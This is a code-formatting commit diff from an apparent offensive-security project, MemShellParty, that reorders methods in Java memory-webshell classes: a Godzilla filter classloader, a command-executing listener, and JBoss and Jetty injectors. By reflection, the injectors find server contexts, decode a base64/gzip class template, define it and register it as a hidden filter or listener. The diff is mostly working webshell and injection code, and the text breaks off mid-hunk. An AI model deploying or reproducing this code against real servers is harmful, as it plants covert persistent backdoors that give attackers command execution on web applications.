mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-24 16:01:52 +08:00
style: code format
This commit is contained in:
ReaJason
+20
-20
@@ -17,6 +17,26 @@ public class CommandListener implements ServletRequestListener {
|
||||
public CommandListener() {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent sre) {
|
||||
|
||||
@@ -51,24 +71,4 @@ public class CommandListener implements ServletRequestListener {
|
||||
}
|
||||
return response;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+38
-38
@@ -26,6 +26,44 @@ public class GodzillaFilter extends ClassLoader implements Filter {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
@@ -86,42 +124,4 @@ public class GodzillaFilter extends ClassLoader implements Filter {
|
||||
@Override
|
||||
public void destroy() {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
}
|
||||
|
||||
+70
-70
@@ -34,6 +34,76 @@ public class JbossFilterInjector {
|
||||
}
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream gzipInputStream = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class<?> tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (Method value : methods) {
|
||||
if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) {
|
||||
method = value;
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
@@ -134,30 +204,6 @@ public class JbossFilterInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream gzipInputStream = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
@@ -177,50 +223,4 @@ public class JbossFilterInjector {
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class<?> tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (Method value : methods) {
|
||||
if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) {
|
||||
method = value;
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+91
-91
@@ -18,14 +18,6 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class JbossListenerInjector {
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
static {
|
||||
new JbossListenerInjector();
|
||||
}
|
||||
@@ -41,89 +33,6 @@ public class JbossListenerInjector {
|
||||
}
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
try {
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
|
||||
for (Object key : childrenMap.keySet()) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFV(childrenMap.get(key), "children");
|
||||
for (Object key1 : children.keySet()) {
|
||||
Object context = children.get(key1);
|
||||
if (context != null && context.getClass().getName().contains("StandardContext")) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getListener(Object context) {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
listener = clazz.newInstance();
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return listener;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void addListener(Object context, Object listener) throws Exception {
|
||||
if (!this.isInjected(context, this.getClassName())) {
|
||||
String filedName = "applicationEventListenersObjects";
|
||||
Object applicationEventListenersObjects = getFV(context, filedName);
|
||||
if (applicationEventListenersObjects == null) {
|
||||
filedName = "applicationEventListenersInstances";
|
||||
applicationEventListenersObjects = getFV(context, filedName);
|
||||
}
|
||||
if (applicationEventListenersObjects != null) {
|
||||
Object[] appListeners = (Object[]) applicationEventListenersObjects;
|
||||
if (appListeners != null) {
|
||||
List appListenerList = new ArrayList(Arrays.asList(appListeners));
|
||||
appListenerList.add(listener);
|
||||
setFieldValue(context, filedName, appListenerList.toArray());
|
||||
}
|
||||
} else if (getFV(context, "applicationEventListenersList") != null) {
|
||||
List<Object> appListeners = (List) getFV(context, "applicationEventListenersList");
|
||||
if (appListeners != null) {
|
||||
appListeners.add(listener);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||
Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
|
||||
List listeners = Arrays.asList(objects);
|
||||
ArrayList arrayList = new ArrayList(listeners);
|
||||
for (Object o : arrayList) {
|
||||
if (o.getClass().getName().contains(evilClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
@@ -225,4 +134,95 @@ public class JbossListenerInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
try {
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
|
||||
for (Object key : childrenMap.keySet()) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFV(childrenMap.get(key), "children");
|
||||
for (Object key1 : children.keySet()) {
|
||||
Object context = children.get(key1);
|
||||
if (context != null && context.getClass().getName().contains("StandardContext")) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getListener(Object context) {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
listener = clazz.newInstance();
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return listener;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void addListener(Object context, Object listener) throws Exception {
|
||||
if (!this.isInjected(context, this.getClassName())) {
|
||||
String filedName = "applicationEventListenersObjects";
|
||||
Object applicationEventListenersObjects = getFV(context, filedName);
|
||||
if (applicationEventListenersObjects == null) {
|
||||
filedName = "applicationEventListenersInstances";
|
||||
applicationEventListenersObjects = getFV(context, filedName);
|
||||
}
|
||||
if (applicationEventListenersObjects != null) {
|
||||
Object[] appListeners = (Object[]) applicationEventListenersObjects;
|
||||
if (appListeners != null) {
|
||||
List appListenerList = new ArrayList(Arrays.asList(appListeners));
|
||||
appListenerList.add(listener);
|
||||
setFieldValue(context, filedName, appListenerList.toArray());
|
||||
}
|
||||
} else if (getFV(context, "applicationEventListenersList") != null) {
|
||||
List<Object> appListeners = (List) getFV(context, "applicationEventListenersList");
|
||||
if (appListeners != null) {
|
||||
appListeners.add(listener);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||
Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
|
||||
List listeners = Arrays.asList(objects);
|
||||
ArrayList arrayList = new ArrayList(listeners);
|
||||
for (Object o : arrayList) {
|
||||
if (o.getClass().getName().contains(evilClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
+20
-20
@@ -17,6 +17,26 @@ public class CommandListener implements ServletRequestListener {
|
||||
public CommandListener() {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent sre) {
|
||||
|
||||
@@ -51,24 +71,4 @@ public class CommandListener implements ServletRequestListener {
|
||||
}
|
||||
return response;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+38
-38
@@ -26,6 +26,44 @@ public class GodzillaFilter extends ClassLoader implements Filter {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
@@ -86,42 +124,4 @@ public class GodzillaFilter extends ClassLoader implements Filter {
|
||||
@Override
|
||||
public void destroy() {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
}
|
||||
|
||||
+121
-122
@@ -16,23 +16,11 @@ import java.util.zip.GZIPInputStream;
|
||||
|
||||
public class JettyFilterInjector {
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
static {
|
||||
new JettyFilterInjector();
|
||||
}
|
||||
|
||||
|
||||
public JettyFilterInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
@@ -46,30 +34,132 @@ public class JettyFilterInjector {
|
||||
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public void addFilter(Object context, Object magicFilter) throws Exception {
|
||||
Class<?> filterClass = magicFilter.getClass();
|
||||
Object servletHandler = getFV(context, "_servletHandler");
|
||||
Object servletHandler = getFV(context, "_servletHandler");
|
||||
|
||||
// 1. 判断是否已经注入
|
||||
if (isInjected(servletHandler)) {
|
||||
System.out.println("filter is already injected");
|
||||
return;
|
||||
}
|
||||
// 1. 判断是否已经注入
|
||||
if (isInjected(servletHandler)) {
|
||||
System.out.println("filter is already injected");
|
||||
return;
|
||||
}
|
||||
|
||||
Class<?> filterHolderClass = null;
|
||||
try {
|
||||
filterHolderClass = context.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder");
|
||||
} catch (ClassNotFoundException e) {
|
||||
filterHolderClass = context.getClass().getClassLoader().loadClass("org.mortbay.jetty.servlet.FilterHolder");
|
||||
}
|
||||
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
|
||||
Object filterHolder = constructor.newInstance(filterClass);
|
||||
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
Class<?> filterHolderClass = null;
|
||||
try {
|
||||
filterHolderClass = context.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder");
|
||||
} catch (ClassNotFoundException e) {
|
||||
filterHolderClass = context.getClass().getClassLoader().loadClass("org.mortbay.jetty.servlet.FilterHolder");
|
||||
}
|
||||
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
|
||||
Object filterHolder = constructor.newInstance(filterClass);
|
||||
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
|
||||
// 2. 注入内存马Filter
|
||||
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
|
||||
